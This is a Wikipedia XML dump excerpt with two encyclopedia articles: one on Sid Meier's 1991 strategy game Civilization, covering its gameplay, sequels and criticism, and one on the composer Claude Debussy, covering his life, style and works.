        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">{{Infobox CVG| title = Civilization
|image = [[Image:Civilizationboxart.jpg|center|262px|Civilization]]
|developer = [[MicroProse]]
|publisher = [[MicroProse]]
|designer = [[Sid Meier]]
|engine = 
|released = [[1991]]
|genre = [[Turn-based strategy game]]
|modes = [[Single player]]
|ratings = [[ESRB]]: Kids to Adults (KA)
|platforms = [[MS-DOS]], [[Apple Macintosh|Macintosh]], [[Amiga]]
|media = [[Floppy disk|Floppy]], [[CD]]
|requirements = 
|input = [[Computer mouse|Mouse]], [[computer keyboard|keyboard]]
}}
'''''Civilization''''', or '''''Sid Meier's Civilization''''' (which is the game's official name) is a [[computer game]] created by [[Sid Meier]] for [[Microprose]] in [[1991]]. The game's objective is to develop a great empire from the ground up or in other words: ''&quot;...to build a legacy that would stand the test of time&quot;''. The game begins in ancient times and the player attempts to expand and develop their empire through the ages until modern and near-future times. It's also called '''''Civ''''' or '''''Civ I''''' for short. It is generally acknowledged to be a pioneer in the genre of [[Turn-based game|turn-based strategy games]].

In 1996 [[Computer Gaming World]] named ''Civilization'' as #1 on its Best Games of All Time list on the PC.

==Description==
''Civilization'' is a single-player game (although there was a separate multiplayer version called ''CivNet'') and both ''[[Civilization II]]'' and ''[[Civilization III|III]]'' have multi-player versions; ''[[Civilization IV]]'', released late 2005, has advanced support for numerous types of multiplayer games). The player takes on the role of the ruler of a [[civilization]] starting with nothing but a single Settler unit (sometimes two of them). The player attempts to build an [[empire]] in competition with a number of other civilizations (from 1 to 7 and up to 31 in latest versions). The game is rigidly turn-based and requires a fair amount of [[micromanagement (computer gaming)|micromanagement]] (although less than any of the [[Sim games]]).

[[Image:Civ01.png|right|thumb|left|240px|Conducting negotiations with Stalin of the Russians]]
Along with the larger tasks of exploration, war and diplomacy, the player has to make decisions about which improvements or units to build in each city, where to build new cities, and how to transform the land surrounding the cities for maximum benefit. From time to time the player's towns may be harassed by &quot;[[barbarian]]s&quot;, units with no specific nationality or leader. These threats disappear later in the game when no unclaimed land is available for the marauding barbarians to settle.

Before the game begins, the player chooses which historical civilization to play. As opponents, certain traits of specific civilizations do come through. The [[Aztecs]] are fiercely expansionistic, for example. Other possible civilizations include the [[United States|Americans]], the [[Mongols]], and the [[Ancient_Rome|Romans]]. Each civilization is led by a historical figure, such as [[Mohandas Gandhi]] ([[India|Indians]]) and [[Joseph Stalin]] ([[Russia|Russians]]).

The scope of the game is huge&amp;mdash;larger than most other computer games. The game begins in [[4000 BC]], before the [[Bronze Age]], and can last through to [[2100]] with [[space age]] technologies. At the start of the game there are no cities anywhere in the world: the player controls one or two Settler units, which can be used to found new cities in appropriate sites, and also alter terrain and build improvements such as mines and roads and, later, railroads. 


[[Image:Civ02.png|right|thumb|240px|Choosing which technology to pursue]]
As time advances, new technologies are developed; these technologies are the primary way in which the game changes and grows. Players choose from, at the beginning, advances such as [[Pottery]], the [[Wheel]], and the [[Alphabet]] to, at the close of the game, [[Nuclear fission]] and [[Space flight]]. Players gain a large advantage if their civilization is the first to learn a particular technology (the secrets of flight, for example). Most advances give access to new units, city improvements or derivative technologies: for example, the [[Chariot]] unit becomes available after the Wheel development, and the Granary building becomes available for building after the Pottery development. The whole system of advancements from beginning to end is called the [[Technology tree]], or simply the Tech tree, a concept adopted in many other strategy games.  Since only one tech may be &quot;researched&quot; at any given time, the order in which technologies are chosen makes a considerable difference in the outcome of the game and generally reflects the player's preferred style of gameplay.

Players can also build Wonders of the world in all the epochs of the game, subject only to possession of the necessary knowledge. These wonders are often important human achievements of society, science, and culture in human history, ranging from the [[Pyramids]] and the [[Great Wall of China|Great Wall]] in the Ancient age, to [[Nicolaus Copernicus|Copernicus' Observatory]] and [[Ferdinand Magellan|Magellan's Expedition]] in the middle period, up to the [[Apollo Program]], the [[United Nations]], and the [[Manhattan Project]] in the modern era. Each of these wonders can only be built by one civilization and takes up a lot of resources to build (far more than most other city upgrades or units). However, each of these wonders provides unique benefits that can be gained by no other methods. Wonders can also be made obsolete by technological advances. ''See also [[List of Wonders in Civilization]]''

The game can be won either by destroying all other civilizations or by becoming the first civilization to succeed at [[space colonization]], in this case reaching the star system of [[Alpha Centauri]]. In the later installments of the series, other ways to win have been added, including cultural victory (buildings like [[Temples]] and [[Libraries]] add culture points to a civilization) and diplomatic victory (being elected [[United Nations Secretary-General]]).

==Legacy==
[[Image:Civ3.jpg|right|thumb|240px|In this game of ''Civilization III'', only a small portion of the game world has been discovered by the player, as can be seen by the much larger black, unexplored area in the map in the lower left corner of the screen.]]

This game has been one of the most popular [[strategy game]]s of all time, and has a loyal following of fans.  The degree of popularity may be discerned from the observation that in an industry where the lifespan of a product typically averages 6 months or less, this game, (by means of all its versions and updates), has endured for over a decade and a half, with product being offered for sale the entire time in retail stores. This high level of interest has spawned a number of [[Free software|free]] versions, such as ''[[Freeciv]]'' and ''[[C-evo]]'', and inspired similar games by other commercial developers, as well.

*''[[CivNet]]'' was released [[1995]] and was a remake of the original game with added multiplayer, improved graphics and sound, and Windows 95 support. Gameplay was almost identical to the original game. There were several methods of multiplayer, including [[LAN]], primitive Internet play, [[hotseat]], modem, and direct serial link.

*'''''[[Civilization II]]''''' was released in [[1996]] and eventually spawned two expansion packs. The original version was designed by [[Brian Reynolds]]. A Multiplayer Gold Edition was released in [[1999]]. Two more expansion packs, ''Fantastic Worlds'' and ''Conflicts in Civilization'' were released after the gold edition.

*'''''[[Civilization III]]''''' was released in [[2001]]. The original version was designed by [[Jeff Briggs]] and [[Soren Johnson]]. Two expansion packs followed: '''''[[Civilization III: Play the World]]''''', which added multiplayer, and '''''[[Civilization III: Conquests]]'''''. The latest version of '''''Civ III''''' is '''''Sid Meier's Civilization III Complete''''', which was released in [[2003]]. 

*'''''[[Civilization IV]]''''' was produced by [[Firaxis]] and was released on [[October 24]] [[2005]]. It was designed by [[Soren Johnson]]. It's the most RTS like and moddable in the series. This game is the first in the series which uses 3D graphics.

In [[1992]], ''Civilization'' won the [[Origins Award]] for ''Best Military or Strategy Computer Game of 1991''.

In November [[1996]] Computer Gaming World's Anniversary Edition, ''Civilization'' was chosen the #1 of the 150 Best Games of All Time, and it was described as follows:
:''While some games might be equally addictive, none have sustained quite the level of rich, satisfying gameplay quite like Sid Meier's magnum opus. The blend of exploration, economics, conquest and diplomacy is augmented by the quintessential research and development model, as you struggle to erect the Pyramids, discover gunpowder, and launch a colonization spacecraft to Alpha Centauri. For its day, Civ had the toughest computer opponents around - even taking into account the &quot;cheats,&quot; that in most instances added rather than detracted from the game. Just when you think the game might bog down, you discover a new land, a new technology, another tough foe - and you tell yourself, &quot;just one more game,&quot; even as the first rays of the new sun creep into your room...the most acute case of game-lock we've ever felt.''

===Inspiration===
Meier admits to &quot;borrowing&quot; many of the technology tree ideas from a [[board game]] also called ''[[Civilization board game|Civilization]]'' (published in the [[United Kingdom]] in [[1980]] by [[Hartland Trefoil]] (later by [[Gibson Games]]), and in the [[United States]] in [[1981]] by [[Avalon Hill]]).  The early versions of the game even included a flier of information and ordering materials for the board game.  In an ironic twist, there is now a board game based on the computer game version of ''Civilization''.

===Intellectual property status===
Between ''Civilization II'' and ''III'', [[Activision]] released a similar game ''[[Civilization: Call To Power]]''. They acquired the rights to the name for a time and took advantage of it by releasing the game using the property in its title.

As of late [[as of 2004|2004]], [[Atari]], the latest publisher of a ''Civilization'' game sold the [[intellectual property]] of the ''Civilization'' brand to [[Take 2|Take 2 Interactive Software]], who will distribute Civilization games under the 2K Games label.  Take 2 went public with news of the sale on [[January 26]] [[2005]].

===Similar games===
In [[1994]] Meier produced a similar game called ''[[Colonization (game)|Colonization]]''. ''Colonization'', while being very similar to ''Civilization'', never became quite as popular. It has also been criticized for leaving out [[slavery]] and other historically important features in the creation of many of the nations of today's [[Americas|America]]. Civilization IV, however, recognized slavery in the game play.

The game ''[[Sid Meier's Alpha Centauri|Alpha Centauri]]'' is also by Meier and is in the same genre, but with a futuristic/space theme.  Many of the interface and gameplay innovations in this game eventually made their way into ''Civilization III'' and ''IV''.

In [[1993]] Microprose published ''[[Master of Magic|Master of Magic]]'', a similar game but embedded in a medieval-fantasy setting where instead of technologies the player (a powerful wizard) develops spells, among other things. The game also shared many things with the popular fantasy card-trading game ''[[Magic: The Gathering]]''.

In 1994 [[Stardock]] released ''[[Galactic Civilizations]]'', a similar turn-based strategy game for [[OS/2]] which became one of the best-selling games for that platform. They released a reprogrammed Windows version in 2003, and [[Galactic Civilizations II: Dread Lords|a sequel]] in 2006.

==Civilization's introduction==
An introduction movie shows when a new game is started in ''Civilization''. The movie was added to give players something to look at while the game world was being created. Later editions of ''Civilization'' no longer include such an introduction, presumably because world creation can be done almost instantaneously. The exception to this is '''''[[Civilization IV]]''''', which contains an updated version of this introduction, narrated by [[Leonard Nimoy]]; the player can, however, skip this, as their world will be created in a fraction of the duration of the introduction. The following words is the actual introduction of ''Civilization'':

''In the beginning, the [[Earth]] was without form, and void.''

''But the [[Sun]] shone upon the sleeping Earth and deep inside the brittle [[crust]] massive forces waited to be unleashed.''

''The seas parted and great [[continents]] were formed. The continents shifted, [[mountains]] arose. [[Earthquakes]] spawned massive [[waves|tidal waves]]. [[Volcanoes]] erupted and spewed forth fiery [[lava]] and charged the [[atmosphere]] with strange gases.''

''Into this swirling maelstrom of [[Fire]] and [[Air]] and [[Water]] the first stirrings of [[Life]] appeared: tiny organisms, [[cells]], and [[amoeba]], clinging to tiny sheltered habitats.''

''But the seeds of Life grew, and strengthened, and spread, and diversified, and prospered, and soon every continent and [[climate]] teemed with Life.''

''And with Life came instinct, and specialization, natural selection, [[Reptiles]], [[Dinosaurs]], and [[Mammals]] and finally there evolved a species known as [[Man]] and there appeared the first faint glimmers of [[Intelligence]].''

''The fruits of intelligence were many: [[fire]], [[tools]], and [[weapons]], the hunt, [[farming]], and the sharing of [[food]], the [[family]], the [[village]], and the [[tribe]]. Now it required but one more ingredient: a great [[Leader]] to unite the quarreling tribes to harness the power of the land to build a legacy that would stand the test of time:''

''a [[Civilization|CIVILIZATION]]!''

==Platforms==
[[Image:Civ1_Amiga.jpg|right|thumb|240px|''Civilization'' on the [[Amiga]] took advantage of the computer's superior graphics abilities.]]

''Civilization'' was originally developed for [[MS-DOS|DOS]] running on a [[IBM PC compatible|PC]]. It has undergone numerous revisions for various platforms (including [[Microsoft Windows]], [[Apple Macintosh|Macintosh]], [[Commodore Amiga]], [[Atari ST]], [[PlayStation]] and [[Super Nintendo]]) and now exists in several versions. ''[[Civilization III]]'' is available on Windows, Macintosh, and Linux. The latest version, ''[[Civilization IV]]'', was released on October 25, 2005 by [[2k Games]].  ''[[Civilization IV]]'' currently runs only on computers with Windows XP/Windows 2000 and video cards with hardware transform and lighting. A Macintosh version of ''[[Civilization IV]]'' is to be released in early 2006.

==Points of controversy==
While a lot less amenable to the same type of criticism as the sister-game ''Colonization'', there are some elements of ''Civilization'' that are considered controversial because they lack neutrality: the choice of leaders of the civilizations (which have also been changed in the various versions), the fact that some civilizations are left out of the game altogether, and the choices for Wonder of the World (e.g. replacing [[Hoover Dam]] with [[Three Gorges Dam]] in ''Civilization IV''). 

Another topic of critique is the trivialization of historically important, but sensitive, topics such as [[religion]] and [[slavery]]. The games have managed to handle these aspects in a relatively generic manner.

The assignment of 'traits' to particular leaders has been a source of some criticism. Some have questioned whether the game is simply trying to ''re-create'' history instead of allowing a player to imprint their own traits onto the developing game. Others have considered such trait assignments racist, since some of these traits are perceived to be applied to a general group of people instead of specific leaders.

There is also considerable discussion over the [[artificial intelligence|AI]] used in the game.  In order to compensate for its limitations and provide a decent challenge to the human player, it is known that computer players (often referred to collectively as the 'AI') are favoured with an in-game set of advantages. In particularly glaring undocumented occurrences of these advantages being revealed, players often find themselves in the odd position of playing a game where ''they don't know the rules''.

With the most recent addition to the series, ''[[Civilization IV]]'', some concern has arisen that the game has acquired some qualities of [[bloatware]] and [[creeping featurism]], for example emphasizing high detail graphics instead of concentrating on memory management or the intracies of game balance.

The most contentious aspect of the game occurs in combat when a modern unit is fighting an obseleate or ancient unit. That ancient unit can sometimes win what most players consider to be an impossible battle. The most notorious of this is the infamous &quot;spearman defeats tank&quot; phenomena. However, in ''[[Civilization IV]]'', the most recent iteration of the game, this has been made a lot less likely (if it's possible that is).

==Criticism==

The historian and anthropologist [[Matthew Kapell]] has published an essay critical of the [[Civilization]] series. It suggests that the game uses unique American [[myths]] of [[progress]] and the [[frontier]] in culturally elitist fashion. It can be found here: “Civilization and its Discontents: American Monomythic Structure as Historical Simulacrum.” ''Popular Culture Review'' Vol. XIII, No. 2 (Summer): 129-136.

==Trivia==

*Sid Meier was the third major designer to plan a computer version of ''Civilization'', but the first to actually carry out that plan.

*[[Danielle Bunten Berry]] planned to start work on the game in 1985, after completing ''The [[Seven Cities of Gold]]'' at [[Electronic Arts]].  The success of ''Seven Cities'', however, led Bunten and producer [[Joe Ybarra]] to instead opt for a sequel, [[Heart of Africa]].  Bunten never returned to the idea of Civilization.  Ironically, Meier's designs of ''[[Pirates]]'' and ''[[Colonization]]'' both contain elements of Bunen's ''The Seven Cities of Gold.''

*[[Don Daglow]], designer of [[Utopia (video game)|Utopia]], the first [[sim game]], began work programming a version of ''Civilization'' in 1987. He dropped the project, however, when he was offered an executive position at [[Broderbund]], and never returned to the game.

*While it can be difficult to obtain a copy of the original game, one can download a demo [http://www.abandonia.com/games/14/download/Civilization1.htm here].

==External links==
{{wikibookspar||Civilization}} 
* [http://www.2kgames.com/civ4/home.htm The Official Take2 ''Civilization IV website]
* [http://www.civ3.com/ The Official Firaxis ''Civilization III'' website]
* [http://www.apolyton.net/ Apolyton]: site about most games in the ''Civilization'' genre
* [http://www.civfanatics.com/ Civfanatics]: site covering ''Civ I'', ''Civ II'', ''Civ III'', and ''Civ IV''.
* [http://planetcivilization.gamespy.com/ Planet Civilization]
* [http://www.CivGuide.com/ CivGuide]: Strategy and more for Civilization IV'
* [http://www.civ.org.pl/ civ.org.pl]: a bilingual site (English and Polish) covering the majority of ''civilization-style'' games
* [http://www.lilback.com/civilization/mp/civfaq1.html Civilization FAQ]
* {{moby game|id=_group/sheet/gameGroupId,22/|name=The ''Civilization'' series}}

{{Civilization}}

[[Category:1991 computer and video games]]
[[Category:Civilization franchise]]
[[Category:DOS games]]
[[Category:Amiga games]]
[[Category:Apple Macintosh games]]
[[Category:Windows games]]
[[Category:Super NES games]]
[[Category:PlayStation games]]
[[Category:N-Gage games]]
[[Category:Atari ST games]]
[[Category:Origins award winners]]
[[Category:Economic simulation games]]
[[Category:Fictional civilizations]]

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  <page>
    <title>Claude Debussy</title>
    <id>6260</id>
    <revision>
      <id>42108511</id>
      <timestamp>2006-03-03T21:56:41Z</timestamp>
      <contributor>
        <username>Qmwne235</username>
        <id>732701</id>
      </contributor>
      <comment>/* Piano */ petite suite</comment>
      <text xml:space="preserve">[[Image:ClaudeDebussyC.jpg|right|framed|Claude Debussy]]

'''Achille-Claude Debussy''' ({{IPA|/ˌdɛ.buː.ˈsiː/}}) ([[August 22]], [[1862]] &amp;ndash; [[March 25]], [[1918]]) was a [[composer]] of  [[European classical music]].  He developed the style commonly referred to as [[impressionist music]], a term which he dismissed. Debussy was not only one of the most important French composers but was also one of the most important figures in music at the turn of the last century; his music represents the transition from late-[[romantic music]] to 20th century [[Modernism (music)|modernist music]].

==Life and Work==

===Early life and studies===

[[Image:Debussy 1885.jpg|thumb|right|250px|Debussy at the Villa Médici in Rome, 1885. The composer is in the centre, wearing a white jacket]]
Debussy began music instruction when he was nine years old, but his talents soon became evident and at age ten Debussy entered the [[Paris Conservatoire]]. Debussy studied with [[Ernest Guiraud]], [[Cesar Franck]] and others at the Paris Conservatoire ([[1872]]-84). As the winner of the [[Prix de Rome]], he received a scholarship by the ''Académie des Beaux-Arts'', which included a four-year residence at the [[Villa Medici]], the [[French Academy in Rome]] to further his studies ([[1885]]-7). According to letters from this period, Debussy often was depressed and unable to compose, but he also met [[Franz Liszt]], and finally composed four pieces, which were sent to the Academy; the symphonic ode ''Zuleima'' (after a text by [[Heinrich Heine]]), the orchestral piece ''Printemps'', and the [[cantata]] ''La damoiselle élue'' (1887-88), which was criticized by the Academy as &quot;bizarre&quot; and in which some stylistic features of Debussy's later style emerged for the first time. The fourth piece was the ''Fantaisie'' for piano and orchestra, which was still indebted to Cesar Franck's music and withdrawn by the composer himself. 

With his visits to [[Bayreuth]] ([[1888]], [[1889]]) Debussy was exposed to [[Wagner]]ian opera, which was to have a lasting impact on his work. Later, in [[Paris]], during the [[Exposition Universelle (1889)]] Debussy heard [[Java (island)|Java]]nese music. Wagner's influence is evident in the ''La damoiselle élue'' and the ''Cinq poèmes de [[Baudelaire]]'' (1889) but other songs of the period, notably the settings of Verlaine (Ariettes oubliées, Trois mélodies, Fêtes galantes, set 1) are in a more capricious style.

===The first masterpieces===

[[Image:Debussy 1893.jpg|thumb|right|250 px|Debussy at the piano, behind him is the composer [[Ernest Chausson]], [[1893]]]]

Beginning in the 1890s, Debussy developed his own musical language largely independent of Wagner's style and heavy emotionalism. In reaction to the enormous works of Wagner and other late-romantic composers, Debussy chose to write in smaller, more accessible forms. Debussy's [[String quartet|String Quartet]] in G minor (1893) paved the way for his later, more daring harmonic exploration. In this work he utilized the [[Phrygian mode|Phrygian]] [[musical mode|mode]] as well as less standard modes, such as the whole-tone scale, which creates a sense of floating, ethereal harmony.

Influenced by the contemporary symbolist poet [[Stéphane Mallarmé]] Debussy wrote one of his most famous works, the revolutionary ''[[Prelude to the Afternoon of a Faun|Prélude à l'après-midi d'un faune]]''. In contrast to the large late-romantic orchestra, Debussy wrote this piece for a smaller ensemble, emphasizing orchestral colours and timbres of the instruments. Even if Mallarmé himself and Debussy's colleague and friend [[Paul Dukas]] were impressed by this piece, the work caused controversy at its premiere; the composer [[Camille Saint-Saëns]] for example thought it &quot;pretty&quot; but lacking any &quot;style&quot;. It subsequently launched Debussy into the spotlight as one of the leading composers of the era.

===Pelléas et Mélisande===

In reaction to Wagner and his overblown late-romantic operas, Debussy wrote the mellow, symbolist opera ''[[Pelléas et Mélisande (opera)|Pelléas et Mélisande]]'', which would be his only finished opera. Based on the play by [[Maurice Maeterlinck]], the opera proved to be immensely influential to younger French composers, including [[Maurice Ravel]]. ''Pelléas,'' with its rule of understatement and deceptively simple declamation, also brought an entirely new tone to opera &amp;mdash; but an unrepeatable one. These works brought a fluidity of rhythm and colour quite new to Western music.

===Orchestral music: ''Les nocturnes'', ''La Mer'', ''Images''===

Among Debussy's major orchestral works are the three ''[[Nocturnes]]'' (1899), characteristic studies in veiled harmony and texture ('Nuages'), exuberant ('Fêtes'), and whole-tone ('Sirènes'). ''[[La Mer (Debussy)|La Mer]]'' (1903-1905) essays a more symphonic form, with a finale that works themes from the first movement, although the middle movement (''Jeux de vagues'') proceeds much less directly and with more variety of colour.

The three ''Images'' (1905-1911) are more loosely linked, and the largest, ''Ibéria'' is itself a [[triptych]], a medley of Spanish allusions and fleeting impressions.  

===Music for piano===

During this period Debussy wrote much piano music. The ''[[Suite bergamasque]]'' (1890) recalls, in Verlainian fashion, [[rococo]] decorousness with a modern cynicism and puzzlement. This suite contains Debussy's most popular piece [[Clair de Lune]]. The set of pieces entitled ''Pour le piano'', (1901) utilises rich harmonies and textures which would prove influential to [[Jazz]] music. His first volume of ''Images pour piano'' (1904–1905), combine harmonic innovation with poetic suggestion. &quot;Reflets dans l'eau&quot; is a musical description of rippling water. ''Hommage à Rameau'', the second piece, is a slow, mysterious court dance, but only remotely in the manner of [[Jean-Philippe Rameau]].

In his evocative ''Estampes'' for piano (1903), Debussy gives impressions of exotic locations, such as an Asian landscape in the pentatonic ''Pagodes'', and of [[Spain]] in ''La soirée dans Grenade''. Debussy wrote his famous ''[[Children's Corner]] Suite'' (1909) for his beloved daughter whom he nicknamed ''Chou-chou''. These beautiful and poetic pieces recall classicism as well as a new wave of rag-time music. Debussy also pokes fun at [[Richard Wagner]] in the popular piece ''Golliwogg's Cake-walk''.

The first set of [[Preludes (Debussy)|Preludes]], twelve in total, proved to be his most successful set of pieces for piano, frequently compared to [[Frédéric Chopin|Chopin]]'s famous set of preludes. These masterpieces of subtlety and description are filled with rich, unusual and daring harmonies. These pieces include the popular ''La Fille aux Cheveux de Lin'', ''[[La Cathédrale Engloutie]]''.

During this period and up until his death, Debussy worked on other opera projects and left substantial sketches for two pieces after tales by [[Edgar Allan Poe]] (''Le diable dans le beffroi'' and ''La chute de la maison Usher''), but neither was completed.

===''Le martyre de St. Sébastien'', ''Jeux'', and a second volume of Preludes===

The [[harmonies]] and [[Chord (music)|chord]] progressions frequently exploit [[Consonance and dissonance|dissonance]]s without any formal resolution. Unlike in his earlier work, Debussy no longer hides discords in lush harmonies. The forms are far more irregular and fragmented. The [[whole tone scale]] dominates much of his late music.&lt;!--Image no longer available [[Image:Debussysatie.jpg|thumb|right|Opx|[[Claude Debussy]] (left) and Erik Satie (right) - picture taken probably between 1910 and 1915 by Igor Stravinsky.]]--&gt;

The music for [[Gabriele d'Annunzio]]'s mystery play ''Le martyre de St. Sébastien'' (1911) a lush and dramatic work and written in only two months, is remarkable in sustaining a [[Late Antiquity|late antique]] [[musical mode|modal]] atmosphere that otherwise was touched only in relatively short piano pieces. 

The last orchestral work by Debussy, the ballet ''Jeux'' ([[1912]]) written for [[Serge Diaghilev]]'s [[Ballets Russes]], contains some of his strangest harmonies and textures in a form that moves freely over its own field of motivic connection. At first ''Jeux'' was overshadowed by [[Igor Stravinsky]]'s [[The Rite of Spring]], composed in the same year as ''Jeux'' and premiered only two weeks later by the same ballet company. Decades later, composers such as [[Pierre Boulez]] and [[Jean Barraqué]] pointed out parallels to [[Anton Webern]]'s [[serialism]] in this work. Other late stage works, including the ballets ''Khamma'' ([[1912]]) and ''La boîte à joujoux'' (1913) were left with the orchestration incomplete, and were later completed by [[Charles Koechlin]] and [[André Caplet]], who also helped Debussy with the orchestration of ''Gigues'' (from ''Images pour orchestre'') and ''Le martyre de St. Sébastien''.

The second set of [[Preludes (Debussy)|Preludes]] for [[piano]] (1913) features Debussy at his most [[avant-garde]], sometimes utilising dissonant harmonies to evoke moods and images, especially in the mysterious ''Canope''; the title refers to a burial urn which stood on Debussy working desk and evokes a distant past. The pianist [[Claudio Arrau]] considered the piece as one of Debussy's greatest preludes: &quot;It's miraculous that he created, in so few notes, this kind of depth.&quot; [http://homepage.mac.com/stevepur/music/debussy_piano/canope.html]

===Late music: ''En blanc et noir'', the Etudes and the three Sonatas===

His two last volumes of works for the piano, the ''[[Études]]'' ([[1915]]) interprets similar varieties of style and texture purely as pianistic exercises and includes pieces that develop irregular form to an extreme as well as others influenced by the young [[Igor Stravinsky]] (a presence too in the suite ''En blanc et noir'' for two pianos, 1915). The rarefaction of these works is a feature of the last set of songs, the ''Trois poèmes de Mallarmé'' (1913), and of the ''[[Sonata (music)|Sonata]] for [[flute]], [[viola]] and [[harp]]'' (1915), though the sonata and its companions also recapture the inquisitive Verlainian classicism.

With the sonatas of 1915-1917, there is a sudden shift in the style. These works recall Debussy's earlier music, in part, but also look forward, with leaner, simpler structures. Despite the thinner textures of the [[violin sonata]] (1917) there remains an undeniable richness in the chords themselves. This shift parallels the movement commonly known as [[Neoclassicism (music)|neo-classicism]] which was to become popular after Debussy's death. Debussy planned a set of six sonatas, but this plan was cut short by his death in 1918.

Claude Debussy died in Paris on March 25, 1918 from rectal [[cancer]], during the bombardment of Paris by airships and long-distance guns during the last [[Spring Offensive|German offensive]] of [[World War I]]. This was a time when the military situation of France was considered desperate by many, and these circumstances did not permit his being paid the honour of a public funeral, or ceremonious graveside orations. The funeral procession made its way through deserted streets as shells from the German guns ripped into his beloved city. It was just eight months before victory was celebrated in France. He was interred there in the [[Cimetière de Passy]], and French culture has ever since celebrated Debussy as one of its most distinguished representatives.

===Musical style===
Claude Debussy is widely regarded as one of the most influential composers of the 20th century. His harmonies, considered radical in his day, were influential to almost every major composer of the 20th century, including the music of [[Igor Stravinsky]], [[Olivier Messiaen]], [[Pierre Boulez]] and the [[minimalist music]] of [[Steve Reich]] and [[Philip Glass]]. He also influenced many important figures in [[Jazz]]. 

It is essential to note that the term &quot;impressionist&quot;, widely applied to Debussy and the music he influenced, is a matter of intense debate within academic circles. It is widely held that the term is a misnomer, an inappropriate label which Debussy himself opposed. In a letter of 1908, he wrote &quot;I am trying to do 'something different'-in a way realities-what the imbeciles call 'impressionism' is a term which is as poorly used as possible, particularly by art critics.&quot;

[[Rudolph Réti]] points out these features of Debussy's music which &quot;established a new concept of tonality in European music&quot;:
# Frequent use of long [[pedal point]]s
# Glittering passages and webs of [[figuration]]s which distract from occasional absence of tonality
# Frequent use of [[parallel chord]]s which are &quot;in essence not harmonies at all, but rather 'chordal melodies', enriched unisons.&quot;
# Bitonality, or at least [[bitonal]] chords
# &quot;Use of the [[whole-tone scale]].&quot;
# Unprepared [[Modulation (music)|modulations]], &quot;without any harmonic bridge.&quot;

He concludes that Debussy's achievement was the synthesis of monophonic based &quot;melodic tonality&quot; with harmonies, albeit different from those of &quot;harmonic tonality&quot;. (Reti, 1958)

==Debussy in film and pop culture==
Debussy's music has been used countless times in film and television.

*''Clair de lune'' is especially popular. It appears to be a great favorite with the character Uncle Bally in [[George Stevens]]' ''[[Giant (film)|Giant]]''. The piece was used in ''[[The Right Stuff]]'', [[Philip Kaufman]]'s film about a NASA space program. Recently it featured in the movie ''[[Man on Fire]]'' and in the final minutes of ''[[Ocean's Eleven (2001 film)|Ocean's Eleven]]'', accompanying the fountains in front of the [[Bellagio (Hotel and Casino)|Bellagio]] hotel and casino. The British horror movie ''[[Dog Soldiers]]'' used ''Clair de lune'' for comical effect; in the film the light of the moon ('clair de lune' in French) is to be feared because it will awaken [[werewolf|werewolves]]. Terrance McNally's play ''Frankie and Johnny in the Clair de Lune'' features two characters who make love, then enter a long, heated argument, which is only resolved after hearing ''Clair de lune'', referred to as the &quot;most beautiful song in the world.&quot; The tune is also played by the music box, given to [[Heinrich Harrer]] by the [[Dalai Lama]] in the film ''[[Seven Years in Tibet]]''. 

*''La Cathédrale Engloutie'' appears in an electronic version in [[John Carpenter]]'s film ''[[Escape from New York]]'' as the hero glides into a futuristic Manhattan.

*''Arabesque No 1'' can be heard during the dinner scene in ''[[The Birds (film)|The Birds]]'' by [[Alfred Hitchcock]]. The theme song to Jack Horkheimer's syndicated weekly TV series, ''Star Gazer'' (previously called ''Star Hustler'') is a synthesized version of the same piece, performed by [[Isao Tomita]]. It is also listened to and frequently referenced by the characters in [[Shunji Iwai]]'s film ''[[All About Lily Chou-Chou]]''.

*The slow movement of the piece ''En blanc et noir'' for two pianos is performed by the characters of [[Anna Mouglalis]] and [[Jacques Dutronc]] in [[Claude Chabrol]]'s ''Merci pour le chocolat'' (2000). 

*The band called [[Art of Noise]] released an album in 1999 titled ''[[The Seduction of Claude Debussy]]'', a montage of his music with a contemporary twist.

*[[Dan Brown]]'s novel ''[[The Da Vinci Code]]'' repeats the unsupported rumor that Debussy was a grand master of the [[Priory_of_Sion#Alleged_Grand_Masters_of_the_Priory_of_Sion|Priory of Sion]], a secret society that is said to have existed since the middle ages.

==Notable compositions==
=== Piano ===
*''Deux Arabesques'' (1888)
*''Petite Suite'' (1889)
*''[[Suite bergamasque]]'' (1890)
:including ''[[Clair de Lune]]''
*''Rêverie'' (1890)
*''Pour Le Piano'' (1899)
*''Estampes'' (1903)
*''[[L'Isle Joyeuse]]'' (1904)
*''Images'', sets one and two (1905, 1907)
:a ''very'' notable piece being ''[[Reflets dans l'eau]]''
*''[[Children's Corner|Children's Corner Suite]]'' (1909)
*''[[Preludes (Debussy)|Préludes]]'', book one and two (1910-1913)
: including ''La Fille aux Cheveux de Lin'', ''La Cathédrale Engloutie'' and ''Canope''
*''Etudes'', book one and two (1915)

=== Two pianos or piano, four hands ===

*''Six épigraphes antiques'' for piano, four hands (1914, from the music for ''Chansons de Bilitis'')
*''En blanc et noir'' for two pianos (1915)

=== Opera ===
* ''[[Pelléas et Mélisande (opera)|Pelléas et Mélisande]]'' (1893-1902)

=== Cantatas ===
*''L'enfant prodigue'' for soprano, baritone, and tenor and orchestra (1884)
*''La demoiselle élue'' for two soloists, female choir, and orchestra (1887-1888, text by [[Dante Gabriel Rossetti]])
*''Ode à la France'' for soprano, mixed choir, and orchestra (1916-1917, completion by Marius Francois Gaillard)

=== Orchestral ===
*''Le printemps'' for choir of four voices and orchestra (1884)
*''[[Prelude to the Afternoon of a Faun]]'', ([[tone poem]]) for orchestra (1894)
*''Nocturnes'' for orchestra and chorus (1899)
*''Dances Sacrée et Profane'' for harp and orchestra (1903)
*Music for ''Le roi Lear'', two pieces for orchestra (1904)
*''[[La Mer (Debussy)|La Mer]]'', esquisses symphoniques (Symphonic Sketches) for orchestra (1905)
*''Images'' for orchestra (1905-1911)
*''Le martyre de St. Sébastien'', fragments symphoniques for orchestra (from the music for the play by [[d'Annunzio]], 1911)
*''Khamma'', ballet (1911-1912, orchestrated by [[Charles Koechlin]])
*''Jeux'', ballet (1913)
*''La boîte à joujoux'', ballet (1913, orchestrated by [[André Caplet]])

=== Music for solo instruments and orchestra ===
*''Fantaisie'' for piano and orchestra (1889-1890)
*Rhapsody for clarinet and orchestra (or piano) (1909-1910)
*''Petite pièce'' for clarinet and orchestra (or piano) (1910)
*Rhapsody for alto saxophone and orchestra (or piano) (1901-1911)

=== Chamber music ===
*''String Quartet in G minor'' (1893)
* Music for ''Chansons de Bilitis'' for two flutes, two harps, and celesta (1901, text by [[Pierre Louys]])
*''[[Syrinx (Debussy)|Syrinx]]'' for flute (1913)
*''Sonata for cello and piano'' (1915)
*''Sonata for flute, viola and harp'' (1915)
